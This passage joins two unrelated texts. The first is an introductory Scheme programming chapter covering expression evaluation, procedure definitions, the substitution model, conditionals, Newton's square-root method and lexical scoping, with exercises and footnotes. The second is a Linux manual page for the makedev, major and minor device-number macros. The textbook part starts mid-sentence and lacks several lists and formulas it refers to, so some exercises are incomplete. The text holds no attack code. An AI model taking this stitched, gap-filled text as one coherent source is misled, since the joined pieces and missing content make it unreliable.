(+ (* 3 (+ (* 2 4) (+ 3 5))) (+ (- 10 7) 6))
following a formatting convention known as pretty-printing, in which each long combination is written so that the operands are aligned vertically. The resulting indentations display clearly the structure of the expression.6
Even with complex expressions, the interpreter always operates in the same basic cycle: It reads an expression from the terminal, evaluates the expression, and prints the result. This mode of operation is often expressed by saying that the interpreter runs in a read-eval-print loop. Observe in particular that it is not necessary to explicitly instruct the interpreter to print the value of the expression.7
A critical aspect of a programming language is the means it provides for using names to refer to computational objects. We say that the name identifies a variable whose value is the object.
In the Scheme dialect of Lisp, we name things with
define
. Typing
(define size 2)
causes the interpreter to associate the value 2 with the name
size
.8
Once the name size
has been associated with the number 2, we
can refer to the value 2 by name:
size 2 (* 5 size) 10
Here are further examples of the use of define
:
(define pi 3.14159) (define radius 10) (* pi (* radius radius)) 314.159 (define circumference (* 2 pi radius)) circumference 62.8318
Define
is our language's simplest means of abstraction, for it
allows us to use simple names to refer to the results of compound
operations, such as the circumference
computed above. In
general, computational objects may have very complex structures, and it
would be extremely inconvenient to have to remember and repeat their details
each time we want to use them. Indeed, complex programs are constructed by
building, step by step, computational objects of increasing complexity. The
interpreter makes this step-by-step program construction particularly
convenient because name-object associations can be created incrementally in
successive interactions. This feature encourages the
incremental development and testing of programs and is largely responsible
for the fact that
a Lisp program usually consists of a large number of relatively simple
procedures.
It should be clear that the possibility of associating values with symbols and later retrieving them means that the interpreter must maintain some sort of memory that keeps track of the name-object pairs. This memory is called the environment (more precisely the global environment, since we will see later that a computation may involve a number of different environments).9
One of our goals in this chapter is to isolate issues about thinking procedurally. As a case in point, let us consider that, in evaluating combinations, the interpreter is itself following a procedure.
Even this simple rule illustrates some important points about processes in general. First, observe that the first step dictates that in order to accomplish the evaluation process for a combination we must first perform the evaluation process on each element of the combination. Thus, the evaluation rule is recursive in nature; that is, it includes, as one of its steps, the need to invoke the rule itself.10
Notice how succinctly the idea of recursion can be used to express what, in the case of a deeply nested combination, would otherwise be viewed as a rather complicated process. For example, evaluating
(* (+ 2 (* 4 6)) (+ 3 5 7))
requires that the evaluation rule be applied to four different combinations. We can obtain a picture of this process by representing the combination in the form of a tree, as shown in figure 1.1. Each combination is represented by a node with branches corresponding to the operator and the operands of the combination stemming from it. The terminal nodes (that is, nodes with no branches stemming from them) represent either operators or numbers. Viewing evaluation in terms of the tree, we can imagine that the values of the operands percolate upward, starting from the terminal nodes and then combining at higher and higher levels. In general, we shall see that recursion is a very powerful technique for dealing with hierarchical, treelike objects. In fact, the "percolate values upward" form of the evaluation rule is an example of a general kind of process known as tree accumulation.
Figure 1.1:
Tree representation, showing the value of each subcombination.
Next, observe that the repeated application of the first step brings us to the point where we need to evaluate, not combinations, but primitive expressions such as numerals, built-in operators, or other names. We take care of the primitive cases by stipulating that
We may regard the second rule as a special case of the third one by
stipulating that symbols such as +
and *
are also
included in the global environment, and are associated with the sequences of
machine instructions that are their "values." The key point to notice is the
role of the
environment in determining the meaning of the symbols in expressions. In an
interactive language such as Lisp, it is meaningless to speak of the value
of an expression such as (+ x 1)
without specifying any
information about the environment that would provide a meaning for the
symbol x
(or even for the symbol +
). As we shall
see in chapter 3, the general notion of the environment as providing a
context in which evaluation takes place will play an important role in our
understanding of program execution.
Notice that the evaluation rule given above does not handle definitions. For
instance, evaluating (define x 3)
does not apply
define
to two arguments, one of which is the value of the
symbol x
and the other of which is 3, since the purpose of the
define
is precisely to associate x
with a value.
(That is, (define x 3)
is not a combination.)
Such exceptions to the general evaluation rule are called special
forms. Define
is the only example of a special form that
we have seen so far, but we will meet others shortly.
Each special form has its own evaluation rule. The various kinds of
expressions (each with its associated evaluation rule) constitute the
syntax of the programming language. In comparison with most other
programming languages, Lisp has a very simple syntax; that is, the
evaluation rule for expressions can be described by a simple general rule
together with specialized rules for a small number of special forms.11
We have identified in Lisp some of the elements that must appear in any powerful programming language:
Now we will learn about procedure definitions, a much more powerful abstraction technique by which a compound operation can be given a name and then referred to as a unit.
We begin by examining how to express the idea of "squaring." We might say, "To square something, multiply it by itself." This is expressed in our language as
(define (square x) (* x x))
We can understand this in the following way:
| (define | ( | square | x | ) ( | * | x | x | )) | |
| ↑ | ↑ | ↑ | ↑ | ↑ | ↑ | ||||
| To | square | something, | multiply | it | by | itself. |
We have here a compound procedure, which has been given the name
square
. The procedure represents the operation of multiplying
something by itself. The thing to be multiplied is given a local name,
x
, which plays the same role that a pronoun plays in natural
language.
Evaluating the definition creates this compound procedure and associates it
with the name square
.12
The general form of a procedure definition is
(define (<name> <formal parameters>) <body>)
The <name> is a symbol to be associated with the procedure definition in the environment.13 The <formal parameters> are the names used within the body of the procedure to refer to the corresponding arguments of the procedure. The <body> is an expression that will yield the value of the procedure application when the formal parameters are replaced by the actual arguments to which the procedure is applied.14 The <name> and the <formal parameters> are grouped within parentheses, just as they would be in an actual call to the procedure being defined.
Having defined square
, we can now use it:
(square 21) 441 (square (+ 2 5)) 49 (square (square 3)) 81
We can also use square
as a building block in defining other
procedures. For example, x2 +
y2
can be expressed as
(+ (square x) (square y))
We can easily define a procedure sum-of-squares
that, given any
two numbers as arguments, produces the sum of their squares:
(define (sum-of-squares x y) (+ (square x) (square y))) (sum-of-squares 3 4) 25
Now we can use sum-of-squares
as a building block in constructing
further procedures:
(define (f a) (sum-of-squares (+ a 1) (* a 2))) (f 5) 136
Compound procedures are used in exactly the same way as primitive
procedures. Indeed, one could not tell by looking at the definition of
sum-of-squares
given above whether square
was
built into the interpreter, like +
and *
, or
defined as a compound procedure.
To evaluate a combination whose operator names a compound procedure, the interpreter follows much the same process as for combinations whose operators name primitive procedures, which we described in section 1.1.3. That is, the interpreter evaluates the elements of the combination and applies the procedure (which is the value of the operator of the combination) to the arguments (which are the values of the operands of the combination).
We can assume that the mechanism for applying primitive procedures to arguments is built into the interpreter. For compound procedures, the application process is as follows:
To illustrate this process, let's evaluate the combination
(f 5)
where f
is the procedure defined in section
1.1.4.
We begin by retrieving the body of f
:
(sum-of-squares (+ a 1) (* a 2))
Then we replace the formal parameter a
by the argument 5:
(sum-of-squares (+ 5 1) (* 5 2))
Thus the problem reduces to the evaluation of a combination with two
operands and an operator sum-of-squares
. Evaluating this
combination involves three subproblems. We must evaluate the operator to
get the procedure to be applied, and we must evaluate the operands to get
the arguments. Now (+ 5 1)
produces 6 and (* 5 2)
produces 10, so we must apply the sum-of-squares
procedure to 6
and 10. These values are substituted for the formal parameters
x
and y
in the body of
sum-of-squares
, reducing the expression to
(+ (square 6) (square 10))
If we use the definition of square
, this reduces to
(+ (* 6 6) (* 10 10))
which reduces by multiplication to
(+ 36 100)
and finally to
136
The process we have just described is called the substitution model for procedure application. It can be taken as a model that determines the "meaning" of procedure application, insofar as the procedures in this chapter are concerned. However, there are two points that should be stressed:
According to the description of evaluation given in section 1.1.3, the interpreter first evaluates the operator and operands and then applies the resulting procedure to the resulting arguments. This is not the only way to perform evaluation. An alternative evaluation model would not evaluate the operands until their values were needed. Instead it would first substitute operand expressions for parameters until it obtained an expression involving only primitive operators, and would then perform the evaluation. If we used this method, the evaluation of
(f 5)
would proceed according to the sequence of expansions
(sum-of-squares (+ 5 1) (* 5 2)) (+ (square (+ 5 1)) (square (* 5 2)) ) (+ (* (+ 5 1) (+ 5 1)) (* (* 5 2) (* 5 2)) )
followed by the reductions
(+ (* 6 6) (* 10 10)) (+ 36 100) 136
This gives the same answer as our previous evaluation model, but the process
is different. In particular, the evaluations of (+ 5 1)
and
(* 5 2)
are each performed twice here, corresponding to the
reduction of the expression
(* x x)
with x
replaced respectively by (+ 5 1)
and
(* 5 2)
.
This alternative "fully expand and then reduce" evaluation method is known as normal-order evaluation, in contrast to the "evaluate the arguments and then apply" method that the interpreter actually uses, which is called applicative-order evaluation. It can be shown that, for procedure applications that can be modeled using substitution (including all the procedures in the first two chapters of this book) and that yield legitimate values, normal-order and applicative-order evaluation produce the same value. (See exercise 1.5 for an instance of an "illegitimate" value where normal-order and applicative-order evaluation do not give the same result.)
Lisp uses applicative-order evaluation, partly because of the additional
efficiency obtained from avoiding multiple evaluations of expressions such
as those illustrated with (+ 5 1)
and (* 5 2)
above and, more significantly, because normal-order evaluation becomes much
more complicated to deal with when we leave the realm of procedures that can
be modeled by substitution. On the other hand, normal-order evaluation can
be an extremely valuable tool, and we will investigate some of its
implications in chapters 3 and 4.16
The expressive power of the class of procedures that we can define at this point is very limited, because we have no way to make tests and to perform different operations depending on the result of a test. For instance, we cannot define a procedure that computes the absolute value of a number by testing whether the number is positive, negative, or zero and taking different actions in the different cases according to the rule
This construct is called a case analysis, and there is a special
form in Lisp for notating such a case analysis. It is called
cond
(which stands for "conditional"), and it is used as
follows:
(define (abs x) (cond ((> x 0) x) ((= x 0) 0) ((< x 0) (- x))))
The general form of a conditional expression is
(cond (<p1> <e1>) (<p2> <e2>) ⋮ (<pn> <en>))
consisting of the symbol cond
followed by
parenthesized pairs of expressions
(<p> <e>)
called
clauses. The first expression in each pair is a
predicate — that is, an expression whose value is interpreted
as either true or false.17
Conditional expressions are evaluated as follows. The predicate
<p1> is evaluated first. If its value is false,
then <p2> is evaluated. If
<p2>'s value is also false, then
<p3> is evaluated. This process continues until a
predicate is found whose value is true, in which case the interpreter
returns the value of the corresponding
consequent expression <e> of the clause as the value
of the conditional expression. If none of the <p>'s is found
to be true, the value of the cond
is undefined.
The word predicate is used for procedures that return true or
false, as well as for expressions that evaluate to true or false. The
absolute-value procedure abs
makes use of the
primitive predicates >
, <
, and
=
.18
These take two numbers as arguments and test whether the first number is,
respectively, greater than, less than, or equal to the second number,
returning true or false accordingly.
Another way to write the absolute-value procedure is
(define (abs x) (cond ((< x 0) (- x)) (else x)))
which could be expressed in English as "If x is less than zero
return - x; otherwise return x."
else
is a special symbol that can be used in place of the
<p> in the final clause of a cond
. This causes
the cond
to return as its value the value of the corresponding
<e> whenever all previous clauses have been bypassed. In
fact, any expression that always evaluates to a true value could be used as
the <p> here.
Here is yet another way to write the absolute-value procedure:
(define (abs x) (if (< x 0) (- x) x))
This uses the special form if
, a restricted type of conditional
that can be used when there are precisely two cases in the case
analysis. The general form of an if
expression is
(if <predicate> <consequent> <alternative>)
To evaluate an if
expression, the interpreter starts by evaluating
the <predicate> part of the expression. If the <predicate>
evaluates to a true value, the interpreter then evaluates
the <consequent> and returns its value. Otherwise it evaluates
the <alternative> and returns its value.19
In addition to primitive
predicates such as <
, =
, and >
, there are logical
composition operations, which enable us to construct compound
predicates. The three most frequently used are these:
(and <e1> ...
<en>)
The interpreter
evaluates the expressions <e> one at a time, in left-to-right order. If
any <e> evaluates to false, the value of the and
expression is false, and the rest of the <e>'s are not evaluated.
If all <e>'s evaluate to true values, the value of the and
expression is the value of the last one.
(or <e1> ...
<en>)
The interpreter
evaluates the expressions <e> one at a time, in left-to-right order. If
any <e> evaluates to a true value, that value is
returned as the value of the or
expression,
and the rest of the <e>'s are not evaluated.
If all <e>'s evaluate to false,
the value of the or
expression is false.
(not <e>)
The value of a not
expression is true
when the expression <e> evaluates to false, and false otherwise.
Notice that and
and or
are special forms, not procedures,
because the subexpressions are not necessarily all evaluated.
Not
is an ordinary procedure.
As an example of how these are used, the condition that a number x be in the range 5 < x < 10 may be expressed as
(and (> x 5) (< x 10))
As another example, we can define a predicate to test whether one number is greater than or equal to another as
(define (>= x y)
(or (> x y) (= x y)))
or alternatively as
(define (>= x y)
(not (< x y)))
Exercise 1.1. Below is a sequence of expressions. What is the result printed by the interpreter in response to each expression? Assume that the sequence is to be evaluated in the order in which it is presented.
10
(+ 5 3 4)
(- 9 1)
(/ 6 2)
(+ (* 2 4) (- 4 6))
(define a 3)
(define b (+ a 1))
(+ a b (* a b))
(= a b)
(if (and (> b a) (< b (* a b)))
b
a)
(cond ((= a 4) 6)
((= b 4) (+ 6 7 a))
(else 25))
(+ 2 (if (> b a) b a))
(* (cond ((> a b) a)
((< a b) b)
(else -1))
(+ a 1))
Exercise 1.2. Translate the following expression into prefix form
Exercise 1.3. Define a procedure that takes three numbers as arguments and returns the sum of the squares of the two larger numbers.
Exercise 1.4. Observe that our model of evaluation allows for combinations whose operators are compound expressions. Use this observation to describe the behavior of the following procedure:
(define (a-plus-abs-b a b)
((if (> b 0) + -) a b))
Exercise 1.5. Ben Bitdiddle has invented a test to determine whether the interpreter he is faced with is using applicative-order evaluation or normal-order evaluation. He defines the following two procedures:
(define (p) (p))
(define (test x y)
(if (= x 0)
0
y))
Then he evaluates the expression
(test 0 (p))
What behavior will Ben observe with an interpreter that uses
applicative-order evaluation? What behavior will he observe with an
interpreter that uses normal-order evaluation? Explain your answer.
(Assume that the evaluation rule for the special form if
is the
same whether the interpreter is using normal or applicative order:
The predicate expression is evaluated first, and the result
determines whether to evaluate
the consequent or the alternative expression.)
Procedures, as introduced above, are much like ordinary mathematical functions. They specify a value that is determined by one or more parameters. But there is an important difference between mathematical functions and computer procedures. Procedures must be effective.
As a case in point, consider the problem of computing square roots. We can define the square-root function as
This describes a perfectly legitimate mathematical function. We could use it to recognize whether one number is the square root of another, or to derive facts about square roots in general. On the other hand, the definition does not describe a procedure. Indeed, it tells us almost nothing about how to actually find the square root of a given number. It will not help matters to rephrase this definition in pseudo-Lisp:
(define (sqrt x)
(the y (and (>= y 0)
(= (square y) x))))
This only begs the question.
The contrast between function and procedure is a reflection of the general distinction between describing properties of things and describing how to do things, or, as it is sometimes referred to, the distinction between declarative knowledge and imperative knowledge. In mathematics we are usually concerned with declarative (what is) descriptions, whereas in computer science we are usually concerned with imperative (how to) descriptions.20
How does one compute square roots? The most common way is to use Newton's method of successive approximations, which says that whenever we have a guess y for the value of the square root of a number x, we can perform a simple manipulation to get a better guess (one closer to the actual square root) by averaging y with x/y.21 For example, we can compute the square root of 2 as follows. Suppose our initial guess is 1:
| Guess | Quotient | Average |
| 1 | (2/1) = 2 | ((2 + 1)/2) = 1.5 |
| 1.5 | (2/1.5) = 1.3333 | ((1.3333 + 1.5)/2) = 1.4167 |
| 1.4167 | (2/1.4167) = 1.4118 | ((1.4167 + 1.4118)/2) = 1.4142 |
| 1.4142 | ... | ... |
Continuing this process, we obtain better and better approximations to the square root.
Now let's formalize the process in terms of procedures. We start with a value for the radicand (the number whose square root we are trying to compute) and a value for the guess. If the guess is good enough for our purposes, we are done; if not, we must repeat the process with an improved guess. We write this basic strategy as a procedure:
(define (sqrt-iter guess x)
(if (good-enough? guess x)
guess
(sqrt-iter (improve guess x)
x)))
A guess is improved by averaging it with the quotient of the radicand and the old guess:
(define (improve guess x)
(average guess (/ x guess)))
where
(define (average x y)
(/ (+ x y) 2))
We also have to say what we mean by ``good enough.'' The following will do for illustration, but it is not really a very good test. (See exercise 1.7.) The idea is to improve the answer until it is close enough so that its square differs from the radicand by less than a predetermined tolerance (here 0.001):22
(define (good-enough? guess x)
(< (abs (- (square guess) x)) 0.001))
Finally, we need a way to get started. For instance, we can always guess that the square root of any number is 1:23
(define (sqrt x)
(sqrt-iter 1.0 x))
If we type these definitions to the interpreter, we can use sqrt
just as we can use any procedure:
(sqrt 9)
3.00009155413138
(sqrt (+ 100 37))
11.704699917758145
(sqrt (+ (sqrt 2) (sqrt 3)))
1.7739279023207892
(square (sqrt 1000))
1000.000369924366
The sqrt
program also illustrates that the simple procedural
language we have introduced so far is sufficient for writing any
purely numerical program that one could write in, say, C or
Pascal. This might seem surprising, since we have not included in
our language any iterative (looping) constructs that direct the
computer to do something over and over again. Sqrt-iter
, on the
other hand, demonstrates how iteration can be accomplished using no
special construct other than the ordinary ability to call a
procedure.24
Exercise 1.6. Alyssa P. Hacker doesn't see why if
needs
to be provided as a special form. ``Why can't I just define it as an
ordinary procedure in terms of cond
?'' she asks.
Alyssa's friend Eva Lu Ator claims this can indeed be done, and
she defines a new version of if
:
(define (new-if predicate then-clause else-clause)
(cond (predicate then-clause)
(else else-clause)))
Eva demonstrates the program for Alyssa:
(new-if (= 2 3) 0 5)
5
(new-if (= 1 1) 0 5)
0
Delighted, Alyssa uses new-if
to rewrite the square-root
program:
(define (sqrt-iter guess x)
(new-if (good-enough? guess x)
guess
(sqrt-iter (improve guess x)
x)))
What happens when Alyssa attempts to use this to compute square roots? Explain.
Exercise 1.7. The good-enough?
test used in computing square roots will not be
very effective for finding the square roots of very small numbers.
Also, in real computers, arithmetic operations are almost always
performed with limited precision. This makes our test inadequate for
very large numbers. Explain these statements, with examples showing
how the test fails for small and large numbers. An alternative
strategy for implementing good-enough?
is to watch how guess
changes from one iteration to the next and to stop when the
change is a very small fraction of the guess. Design a square-root
procedure that uses this kind of end test. Does this work better for
small and large numbers?
Exercise 1.8. Newton's method for cube roots is based on the fact that if y is an approximation to the cube root of x, then a better approximation is given by the value
Use this formula to implement a cube-root procedure analogous to the square-root procedure. (In section 1.3.4 we will see how to implement Newton's method in general as an abstraction of these square-root and cube-root procedures.)
Sqrt
is our first example of a process defined by a set of
mutually defined procedures. Notice that the definition of sqrt-iter
is recursive; that is, the procedure is defined in
terms of itself. The idea of being able to define a procedure in
terms of itself may be disturbing; it may seem unclear how such a
``circular'' definition could make sense at all, much less specify a
well-defined process to be carried out by a computer. This will be
addressed more carefully in
section 1.2. But first let's consider
some other important points illustrated by the sqrt
example.
Observe that the problem of computing square roots breaks up naturally
into a number of subproblems: how to tell whether a guess is good
enough, how to improve a guess, and so on. Each of these tasks is
accomplished by a separate procedure. The entire sqrt
program
can be viewed as a cluster of procedures (shown in
figure 1.2) that mirrors the decomposition of
the problem into subproblems.
The importance of this decomposition strategy is not simply that one
is dividing the program into parts. After all, we could take any
large program and divide it into parts -- the first ten lines, the next
ten lines, the next ten lines, and so on. Rather, it is crucial that
each procedure accomplishes an identifiable task that can be used as a
module in defining other procedures. For example, when we define the
good-enough?
procedure in terms of square
, we are able to
regard the square
procedure as a ``black box.'' We are not at
that moment concerned with how the procedure computes its
result, only with the fact that it computes the square. The details
of how the square is computed can be suppressed, to be considered at a
later time. Indeed, as far as the good-enough?
procedure is
concerned, square
is not quite a procedure but rather an
abstraction of a procedure, a so-called procedural abstraction.
At this level of abstraction, any procedure that computes the square
is equally good.
Thus, considering only the values they return, the following two procedures for squaring a number should be indistinguishable. Each takes a numerical argument and produces the square of that number as the value.25
(define (square x) (* x x))
(define (square x)
(exp (double (log x))))
(define (double x) (+ x x))
So a procedure definition should be able to suppress detail. The users of the procedure may not have written the procedure themselves, but may have obtained it from another programmer as a black box. A user should not need to know how the procedure is implemented in order to use it.
One detail of a procedure's implementation that should not matter to the user of the procedure is the implementer's choice of names for the procedure's formal parameters. Thus, the following procedures should not be distinguishable:
(define (square x) (* x x))
(define (square y) (* y y))
This principle -- that the meaning of a procedure should be independent
of the parameter names used by its author -- seems on the surface to be
self-evident, but its consequences are profound. The simplest
consequence is that the parameter names of a procedure must be local
to the body of the procedure. For example, we used square
in
the definition of good-enough?
in our square-root procedure:
(define (good-enough? guess x)
(< (abs (- (square guess) x)) 0.001))
The intention of the author of good-enough?
is to determine if
the square of the first argument is within a given tolerance of the
second argument. We see that the author of good-enough?
used
the name guess
to refer to the first argument and x
to
refer to the second argument. The argument of square
is guess
. If the author of square
used x
(as above)
to refer to that argument, we see that the x
in good-enough?
must be a different x
than the one in square
. Running the procedure square
must not affect the value
of x
that is used by good-enough?
, because that value of
x
may be needed by good-enough?
after square
is done
computing.
If the parameters were not local to the bodies of their respective
procedures, then the parameter x
in square
could be
confused with the parameter x
in good-enough?
, and the
behavior of good-enough?
would depend upon which version of
square
we used. Thus, square
would not be the black box
we desired.
A formal parameter of a procedure has a very special role in the procedure definition, in that it doesn't matter what name the formal parameter has. Such a name is called a bound variable, and we say that the procedure definition binds its formal parameters. The meaning of a procedure definition is unchanged if a bound variable is consistently renamed throughout the definition.26 If a variable is not bound, we say that it is free. The set of expressions for which a binding defines a name is called the scope of that name. In a procedure definition, the bound variables declared as the formal parameters of the procedure have the body of the procedure as their scope.
In the definition of good-enough?
above, guess
and x
are
bound variables but <
, -
, abs
, and square
are free.
The meaning of good-enough?
should be independent of the names we
choose for guess
and x
so long as they are distinct and
different from <
, -
, abs
, and square
. (If we renamed
guess
to abs
we would have introduced a bug by capturing
the variable abs
. It would have changed from free to bound.) The
meaning of good-enough?
is not independent of the names of its
free variables, however. It surely depends upon the fact (external to
this definition) that the symbol abs
names a procedure for
computing the absolute value of a number. Good-enough?
will
compute a different function if we substitute cos
for abs
in
its definition.
We have one kind of name isolation available to us so far: The formal parameters of a procedure are local to the body of the procedure. The square-root program illustrates another way in which we would like to control the use of names. The existing program consists of separate procedures:
(define (sqrt x)
(sqrt-iter 1.0 x))
(define (sqrt-iter guess x)
(if (good-enough? guess x)
guess
(sqrt-iter (improve guess x) x)))
(define (good-enough? guess x)
(< (abs (- (square guess) x)) 0.001))
(define (improve guess x)
(average guess (/ x guess)))
The problem with this program is that the only procedure that is
important to users of sqrt
is sqrt
. The other
procedures (sqrt-iter
, good-enough?
, and improve
)
only clutter up their minds. They may not define any other procedure
called good-enough?
as part of another program to work together
with the square-root program, because sqrt
needs it. The
problem is especially severe in the construction of large systems by
many separate programmers. For example, in the construction of a
large library of numerical procedures, many numerical functions are
computed as successive approximations and thus might have procedures
named good-enough?
and improve
as auxiliary procedures.
We would like to localize the subprocedures, hiding them inside sqrt
so that sqrt
could coexist with other successive
approximations, each having its own private
good-enough?
procedure. To make this possible, we allow a
procedure to have
internal definitions that are local to that procedure. For example,
in the square-root problem we can write
(define (sqrt x)
(define (good-enough? guess x)
(< (abs (- (square guess) x)) 0.001))
(define (improve guess x)
(average guess (/ x guess)))
(define (sqrt-iter guess x)
(if (good-enough? guess x)
guess
(sqrt-iter (improve guess x) x)))
(sqrt-iter 1.0 x))
Such nesting of definitions, called block structure,
is basically the right solution to the simplest
name-packaging problem. But there is a better idea lurking here. In
addition to internalizing the definitions of the auxiliary procedures,
we can simplify them. Since x
is bound in the definition of
sqrt
, the procedures good-enough?
, improve
, and
sqrt-iter
, which are defined internally to sqrt
, are in the
scope of x
. Thus, it is not necessary to pass x
explicitly to
each of these procedures. Instead, we allow x
to be a free
variable in the internal definitions, as shown below. Then x
gets its value from the argument with which the enclosing
procedure sqrt
is called. This discipline is called lexical
scoping.27
(define (sqrt x)
(define (good-enough? guess)
(< (abs (- (square guess) x)) 0.001))
(define (improve guess)
(average guess (/ x guess)))
(define (sqrt-iter guess)
(if (good-enough? guess)
guess
(sqrt-iter (improve guess))))
(sqrt-iter 1.0))
We will use block structure extensively to help us break up large programs into tractable pieces.28 The idea of block structure originated with the programming language Algol 60. It appears in most advanced programming languages and is an important tool for helping to organize the construction of large programs.
4 The characterization of numbers as ``simple data'' is a barefaced bluff. In fact, the treatment of numbers is one of the trickiest and most confusing aspects of any programming language. Some typical issues involved are these: Some computer systems distinguish integers, such as 2, from real numbers, such as 2.71. Is the real number 2.00 different from the integer 2? Are the arithmetic operations used for integers the same as the operations used for real numbers? Does 6 divided by 2 produce 3, or 3.0? How large a number can we represent? How many decimal places of accuracy can we represent? Is the range of integers the same as the range of real numbers? Above and beyond these questions, of course, lies a collection of issues concerning roundoff and truncation errors -- the entire science of numerical analysis. Since our focus in this book is on large-scale program design rather than on numerical techniques, we are going to ignore these problems. The numerical examples in this chapter will exhibit the usual roundoff behavior that one observes when using arithmetic operations that preserve a limited number of decimal places of accuracy in noninteger operations.
5 Throughout this book, when we wish to emphasize the distinction between the input typed by the user and the response printed by the interpreter, we will show the latter in slanted characters.
6 Lisp systems typically provide features to aid the user in formatting expressions. Two especially useful features are one that automatically indents to the proper pretty-print position whenever a new line is started and one that highlights the matching left parenthesis whenever a right parenthesis is typed.
7 Lisp obeys the convention that every expression has a value. This convention, together with the old reputation of Lisp as an inefficient language, is the source of the quip by Alan Perlis (paraphrasing Oscar Wilde) that ``Lisp programmers know the value of everything but the cost of nothing.''
8 In this book, we do not show the interpreter's response to evaluating definitions, since this is highly implementation-dependent.
9 Chapter 3 will show that this notion of environment is crucial, both for understanding how the interpreter works and for implementing interpreters.
10 It may seem strange that the evaluation rule says, as
part of the first step, that we should evaluate the leftmost element
of a combination, since at this point that can only be an operator
such as +
or *
representing a built-in primitive procedure such as addition or
multiplication. We will see later that it is useful to be able to work with
combinations whose operators are themselves compound expressions.
11 Special syntactic forms that are simply convenient alternative surface structures for things that can be written in more uniform ways are sometimes called syntactic sugar, to use a phrase coined by Peter Landin. In comparison with users of other languages, Lisp programmers, as a rule, are less concerned with matters of syntax. (By contrast, examine any Pascal manual and notice how much of it is devoted to descriptions of syntax.) This disdain for syntax is due partly to the flexibility of Lisp, which makes it easy to change surface syntax, and partly to the observation that many ``convenient'' syntactic constructs, which make the language less uniform, end up causing more trouble than they are worth when programs become large and complex. In the words of Alan Perlis, ``Syntactic sugar causes cancer of the semicolon.''
12 Observe that there are two different operations
being combined here: we are creating the procedure, and we are giving
it the name square
. It is possible, indeed important, to be
able to separate these two notions -- to create procedures without
naming them, and to give names to procedures that have already been
created. We will see how to do this in section 1.3.2.
13 Throughout this book, we will describe the general syntax of expressions by using italic symbols delimited by angle brackets -- e.g., <name> -- to denote the ``slots'' in the expression to be filled in when such an expression is actually used.
14 More generally, the body of the procedure can be a sequence of expressions. In this case, the interpreter evaluates each expression in the sequence in turn and returns the value of the final expression as the value of the procedure application.
15 Despite the simplicity of the substitution idea, it turns out to be surprisingly complicated to give a rigorous mathematical definition of the substitution process. The problem arises from the possibility of confusion between the names used for the formal parameters of a procedure and the (possibly identical) names used in the expressions to which the procedure may be applied. Indeed, there is a long history of erroneous definitions of substitution in the literature of logic and programming semantics. See Stoy 1977 for a careful discussion of substitution.
16 In chapter 3 we will introduce stream processing, which is a way of handling apparently ``infinite'' data structures by incorporating a limited form of normal-order evaluation. In section 4.2 we will modify the Scheme interpreter to produce a normal-order variant of Scheme.
17 ``Interpreted as either true or false''
means this: In Scheme, there are two distinguished values that are
denoted by the constants #t
and #f
. When the interpreter
checks a predicate's value, it interprets #f
as false. Any other value
is treated as true. (Thus, providing #t
is logically
unnecessary, but it is convenient.) In this book we will use
names true
and false
, which are associated
with the values #t
and #f
respectively.
18 Abs
also uses
the ``minus'' operator -
, which, when used with a single
operand, as in (- x)
, indicates negation.
19 A minor difference
between if
and cond
is that the
<e> part of each cond
clause may be a sequence of expressions.
If the corresponding <p> is found to be true, the expressions
<e> are evaluated in sequence and the value of the final
expression in the sequence is returned as the value of the cond
.
In an if
expression, however, the <consequent> and
<alternative> must be single expressions.
20 Declarative and imperative descriptions are intimately related, as indeed are mathematics and computer science. For instance, to say that the answer produced by a program is ``correct'' is to make a declarative statement about the program. There is a large amount of research aimed at establishing techniques for proving that programs are correct, and much of the technical difficulty of this subject has to do with negotiating the transition between imperative statements (from which programs are constructed) and declarative statements (which can be used to deduce things). In a related vein, an important current area in programming-language design is the exploration of so-called very high-level languages, in which one actually programs in terms of declarative statements. The idea is to make interpreters sophisticated enough so that, given ``what is'' knowledge specified by the programmer, they can generate ``how to'' knowledge automatically. This cannot be done in general, but there are important areas where progress has been made. We shall revisit this idea in chapter 4.
21 This square-root algorithm is actually a special case of Newton's method, which is a general technique for finding roots of equations. The square-root algorithm itself was developed by Heron of Alexandria in the first century A.D. We will see how to express the general Newton's method as a Lisp procedure in section 1.3.4.
22 We will usually give predicates names ending with question marks, to help us remember that they are predicates. This is just a stylistic convention. As far as the interpreter is concerned, the question mark is just an ordinary character.
23 Observe that we express our initial guess as 1.0 rather than 1. This would not make any difference in many Lisp implementations. MIT Scheme, however, distinguishes between exact integers and decimal values, and dividing two integers produces a rational number rather than a decimal. For example, dividing 10 by 6 yields 5/3, while dividing 10.0 by 6.0 yields 1.6666666666666667. (We will learn how to implement arithmetic on rational numbers in section 2.1.1.) If we start with an initial guess of 1 in our square-root program, and x is an exact integer, all subsequent values produced in the square-root computation will be rational numbers rather than decimals. Mixed operations on rational numbers and decimals always yield decimals, so starting with an initial guess of 1.0 forces all subsequent values to be decimals.
24 Readers who are worried about the efficiency issues involved in using procedure calls to implement iteration should note the remarks on ``tail recursion'' in section 1.2.1.
25 It is not even clear which of these procedures is a more efficient implementation. This depends upon the hardware available. There are machines for which the ``obvious'' implementation is the less efficient one. Consider a machine that has extensive tables of logarithms and antilogarithms stored in a very efficient manner.
26 The concept of consistent renaming is actually subtle and difficult to define formally. Famous logicians have made embarrassing errors here.
27 Lexical scoping dictates that free variables in a procedure are taken to refer to bindings made by enclosing procedure definitions; that is, they are looked up in the environment in which the procedure was defined. We will see how this works in detail in chapter 3 when we study environments and the detailed behavior of the interpreter.
28 Embedded definitions must come first in a procedure body. The management is not responsible for the consequences of running programs that intertwine definition and use.


MAKEDEV
Section: Linux Programmer's Manual (3)
Updated: 2014-05-28
Index
Return to Main Contents
NAME
makedev, major, minor - manage a device number
SYNOPSIS
#define _BSD_SOURCE /* See feature_test_macros(7) */
#include <sys/types.h>
dev_t makedev(unsigned int maj, unsigned int min);
unsigned int major(dev_t dev);
unsigned int minor(dev_t dev);
DESCRIPTION
A device ID consists of two parts:
a major ID, identifying the class of the device,
and a minor ID, identifying a specific instance of a device in that class.
A device ID is represented using the type
dev_t.
Given major and minor device IDs,
makedev()
combines these to produce a device ID, returned as the function result.
This device ID can be given to
mknod(2),
for example.
The
major()
and
minor()
functions perform the converse task: given a device ID,
they return, respectively, the major and minor components.
These macros can be useful to, for example,
decompose the device IDs in the structure returned by
stat(2).
CONFORMING TO
The
makedev(),
major(),
and
minor()
functions are not specified in POSIX.1,
but are present on many other systems.
NOTES
These interfaces are defined as macros.
Since glibc 2.3.3,
they have been aliases for three GNU-specific functions:
gnu_dev_makedev(),
gnu_dev_major(),
and
gnu_dev_minor().
The latter names are exported, but the traditional names are more portable.
SEE ALSO
mknod(2),
stat(2)
Index
- NAME
-
- SYNOPSIS
-
- DESCRIPTION
-
